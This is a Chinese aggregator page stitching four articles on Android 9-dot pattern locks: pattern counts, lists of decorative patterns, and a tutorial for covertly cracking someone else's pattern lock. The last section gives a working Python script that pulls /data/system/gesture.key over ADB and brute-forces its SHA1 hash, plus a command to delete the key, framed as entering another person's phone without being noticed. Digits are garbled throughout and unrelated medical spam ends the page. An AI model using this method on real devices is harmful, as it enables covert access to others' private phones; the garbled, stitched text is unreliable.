科技网

当前位置: 首页 >互联网

9宫格解锁图案大全安卓9宫格和iOS解锁谁更强9宫格可以画出389112个图案

互联网
来源: 作者: 2019-05-17 13:53:00

1 : 安卓9宫格和iOS解锁谁更强?9宫格可以画出389112个图案

手机9宫格解锁到底安全不?9宫格能画出多少图案啊?我自己设置的9宫格总是被同学分分钟破解ORZ......

9宫格的安全性还是无庸置疑的,不过很多朋友在录入图案的时候,要末会嫌麻烦,只利用几个点去画图案,要末是想要提升安全性,却总是画不出复杂的图形。

其实9宫格是有1定的限制条件的,安卓的9宫格密码可以看作是3×3点阵中的1条路径,只要你在画的时候,不经太重复的点,同时不跳过途中必须要经过的点,那末这条路径几近是无所不能的。举个简单的例子,如果从左上角的点连接到右上角的点,中间的那个点就会被自动加到路径里。不过还有1个有趣的情况是,如果中间的点是之前已用过的,那末这个点就能够被跳过去。

那末善加利用规则,我们总共能画出多少图案呢?此前已有代码大神通过代码算出了具体的答案,他们把点阵中的9个点分别用数字1到9编号。然后用python写了段代码,先计算出所有大于4个数字的所有排列组合,然后从中剃除穿过中间那个数字的组合,剩下的就是符合要求的代码。

依照规则,1、3组合是不可能存在的,由于它会穿过2,1、9组合也不可能存在,由于它会穿过5,总共有16个这样的组合。一样依照规则,如果中间的数字已用过了,是可以穿过的,比如2、1、3,2已用过了,1是可以穿过2与3连接的。如此挑选以后,就得到了答案--⑶89112。也就是说,简简单单的9宫格,可以画出389112个图案。以下是代码,有兴趣的朋友可以自行研究。

那末,既然9宫格有如此多的图案可能,为何网友的图案密码还会很容易被破解呢?这就是小编前面说的路径利用率的问题,我们身旁的大部份安卓用户,在设置9宫格图案时,常常都只会利用45个点。此前也曾有善用代码的大神解读过这1问题,通过代码,我们就能够很直观的看到,在这389112种可能的密码中,不同长度的密码,其可能性也是不同的。

可以看到,包括4、5、6、7、8、9个点的合法路径数分别为1624、7152、26016、72912、140704、140704。如果你的密码路径连接的点数不到6个的话,可能的密码总数只有1624 + 7152=8776个。1般来讲,密码组合的可能性不过万,被破解的概率就很高了,如果你用的是非常常见的密码,那末他人破解起来自然跟玩儿似的,如果你真的不想让你的密码被破解,那末最少也要利用6个点,这样你的9宫格才有1定的安全性可言。

说到这儿,可能有人会问了,那iPhone的密码组合1共有多少可能性呢?我们知道,苹果手机的密码是4位数,也就是说从0000到9999都可能成为iPhone的密码,所以算下来,总的可能性有10000种,相比于9宫格而言,其安全性要差1些,固然,如果你使用9宫格,却只利用6个点以下的点来画图案,那末便可能比iPhone手机的密码还要更容易破解1些。

2 : 手机9宫格图案解锁大全 苹果ios/安卓经常使用好看9宫格锁屏图案汇总

很多朋友都觉得单纯的密码输入太简单,因而大家都在找9宫格解锁图案大全,所以今天小编为大家带来的是1些苹果ios/安卓经常使用好看9宫格锁屏图案汇总,每款锁屏图案很简单好看哦~

[www.loach.net.cn]1、1⑷⑻⑹⑶⑸⑺⑵⑼,最后移到1就能够了。

2、4⑻⑼⑹⑵⑴⑺⑸⑶,最后移到2就能够了。

3、1⑵⑷⑼⑺⑹,最后移到1。

4、1⑸⑼⑷⑻⑵⑹⑶⑺。

手机团 手机9宫格图案解锁大全 苹果ios/安卓经常使用好看9宫格锁屏图案汇总

[www.loach.net.cn)5、7⑸⑶⑼⑹⑵⑴。

6、5⑻⑺⑵⑼,最后移到8。

7、9⑴⑹⑵⑷⑶⑸⑺。

8、7⑴⑻⑶⑼⑹⑵⑷⑸,最后移到6。

9、3⑸⑵⑺⑹,最后移到5。

以上就是手机9宫格图案解锁大全了,是否是看起来漂亮又不复杂呢?大家快来试试吧。

3 : 9宫格解锁图案大全 好看大气的手机9宫格解锁图案集合

很多机友在找9宫格解锁图案大全,今天小编带来了1些经常使用手机9宫格解锁图案汇总,每款锁屏图案很简单好看哦~空话不多说,1起来选择你喜欢的解锁图案吧~

是否是特别高端大气上档次呢?你喜欢哪1款?

安卓手机复杂解锁图案大全

接下来带给大家的是好看的9宫格解锁图案大全,很多朋友都在找安卓手机好看又复杂的解锁图案,绿茶小编这里有哦~有很多好看又复杂的9宫格解锁图案供大家选择,1起来看吧~

---⑷567294

---⑵45689731

---⑵57368419

---⑺2943816

4 : 如何破解安卓手机上的图形锁(9宫格锁)

安卓手机的图形锁(9宫格)是3×3的点阵,顺次序连接数个点从而到达锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。但假设你想进入他人的手机,但又不想引发其警觉的话……你可以参考1下本文。

条件条件:手机需要root,而且打开调试模式。1般来说,如果用过诸如“豌豆荚手机助手”、“360手机助手”1类的软件,都会被要求打开调试模式的。如果要删除手机内置软件,则需要将手机root。

原理分析

首先科普1下,安卓手机是如何标记这9个点的。通过浏览安卓系统源码可知,每一个点都有其编号,组成了1个3×3的矩阵,形如:

000102

030405

060708

假设设定解锁图形为1个“L”形。那末这几个点的排列顺序是这样的:0003060708。系统就记下来了这1串数字,然后将这1串数字(以106进制的方式)进行SHA1加密,存储在了手机里的/data/system/gesture.key文件中。我们用数据线连接手机和电脑,然后ADB连接手机,将文件下载到电脑上(命令:adb pull /data/system/gesture.key gesture.key),如图:

用WinHex等106进制编辑程序打开gesture.key,会发现文件内是SHA1加密过的字符串:c8c0b24a15dc8bbfd411427973574695230458f0,如图:

当你下次解锁的时候,系统就对照你画的图案,看对应的数字串是否是0003060708对应的加密结果。如果是,就解锁;不是就继续保持锁定。那末,如果穷举所有的数字串排列,会有多少呢?联想到高中的阶乘,如果用4个点做解锁图形的话,就是9x8x7x6=3024种可能性,那5个点就是15120,6个点的话60480,7个点181440,8个点362880,9个点362880。总共是985824种可能性(但这么计算其实不周密,由于同1条直线上的点只能和他们相邻的点相连)。

满打满算,也不到985824种可能性。乍1看很大,但在计算机眼前,穷举出来这些东西用不了几秒钟。

破解进程

知道了原理,就着手写程序来实现吧。这里使用了Python来完成任务。主要利用了hashlib模块(对字符串进行SHA1加密)和itertools模块(Python内置,生成00-09的排列组合)。

主要流程为:

1.ADB连接手机,获得gesture.key文件

2.读取key文件,存入字符串str_A

3.生玉成部可能的数字串

4.对这些数字串进行加密,得到字符串str_B

5.将字符串str_A与str_B进行对照

6.如果字符串A,B相同,则说明数字串num就是想要的解锁顺序

7.打印出数字串num

下面为程序:

# -*- coding: cp936 -*- import itertools import hashlib import time import os #调用cmd,ADB连接得手机,读取SHA1加密后的字符串 os.system("adb pull /data/system/gesture.key gesture.key") time.sleep(5) f=open('gesture.key','r') pswd=f.readline() f.close() pswd_hex=pswd.encode('hex') print '加密后的密码为:%s'%pswd_hex #生成解锁序列,得到['00','01','02','03','04','05','06','07','08'] matrix=[] for i in range(0,9): str_temp = '0'+str(i) matrix.append(str_temp) #将00——08的字符进行排列,最少取4个数排列,最多全部进行排列 min_num=4 max_num=len(matrix) for num in range(min_num,max_num+1):#从04 -> 08 iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列 list_m=[] list_m.append(list(iter1))#将生成的排列全部寄存到 list_m 列表中 for el in list_m[0]:#遍历这n个数字的全部排列 strlist=''.join(el)#将list转换成str。[00,03,06,07,08]-->0003060708 strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密 if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对照 print '解锁密码为:',strlist 总结

从程序本身来讲,得到解锁密码后应当用break跳出循环并终止程序运行。但Python并没有跳出多重循环的语句,如果要跳出多重循环,只能设置标志位然后不停进行判定。为了运行速度就略去了“跳出循环”这个步骤。(有无更好的实现跳出多重循环的方法?)另外也略去了很多容错语句。从破解目的来讲,如果单单是忘记了自己的手机图形锁密码,完全可以用更简单的办法:ADB连接手机,然后“adb rm /data/system/gesture.key”删除掉gesture.key文件,此时图形锁就失效了,随便画1下就可以解锁。但本文开篇假定的是“为了不被发觉地进入到他人的手机里”,所以就有了这篇文章。

最后提1个安全小建议:

如果手机已root,还要用“XX手机助手”,还想设置图形锁的话——在手机“设置”选项里,有1个“锁定状态下取消USB调试模式”(这个名字因手机而异,而且有的有此选项,有的手机就没有),开启此功能以后,在手机锁定状态下就可以够防范此类攻击了。此文技术原理很简单,还望各位大大传授些高大上的Python编程技能。

北京有实力的牛皮癣医院吉林羊癫疯治疗贵吗治疗牛皮癣的药品

相关推荐